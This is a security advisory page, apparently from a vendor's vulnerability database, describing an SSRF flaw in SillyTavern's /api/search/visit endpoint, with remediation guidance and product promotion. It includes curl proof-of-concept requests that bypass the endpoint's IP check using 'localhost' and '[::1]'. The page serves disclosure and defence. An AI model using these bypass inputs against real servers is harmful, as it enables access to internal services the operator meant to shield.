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GHSA-wm7j-m6jm-8797

MEDIUM

GHSA-wm7j-m6jm-8797 is a medium-severity (CVSS 5) Server-Side Request Forgery (SSRF) vulnerability in sillytavern. O3 Security confirms whether GHSA-wm7j-m6jm-8797 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6

Also known asCVE-2026-34526
Published
Apr 1, 2026
Updated
Apr 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
📦sillytavern

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Details

Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.

In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch:

  • localhost (hostname, not dotted-quad)
  • [::1] (IPv6 loopback)
  • DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1)

A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.

PoC

  1. Start SillyTavern v1.16.0 normally
  2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):
# Blocked — dotted-quad matched by regex
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1/", "html": true}'
# Returns: 400 (blocked)

# Bypassed — "localhost" is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://localhost/", "html": true}'
# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)

# Bypassed — IPv6 loopback is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://[::1]/", "html": true}'
# Returns: 500 (passed validation, fetch attempted)

The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.

Impact

Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.

Resolution

The issue was addressed in version 1.17.0 by improving IPv6 address validation

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmsillytavernall versions1.17.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sillytavern. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update sillytavern to 1.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wm7j-m6jm-8797 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-wm7j-m6jm-8797 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-wm7j-m6jm-8797. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Details Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched. In `src/endpoints/search.js` line 419, the hostname is checked against `/^\d+\.\d+\.\d+\.\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch: - `localhost` (hostname, not dotted-quad) - `[::1]` (IPv6 loopback) - DNS names resolving to internal addresses (e.g. `localtest.me` -> 127.0.0.1) A separate port check (`urlObj.port !== ''`) limits exploitation to services on default ports (80/443), making this lower severity than a full
O3 Security · Impact-Aware SCA

Is GHSA-wm7j-m6jm-8797 in your dependencies?

O3 detects GHSA-wm7j-m6jm-8797 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.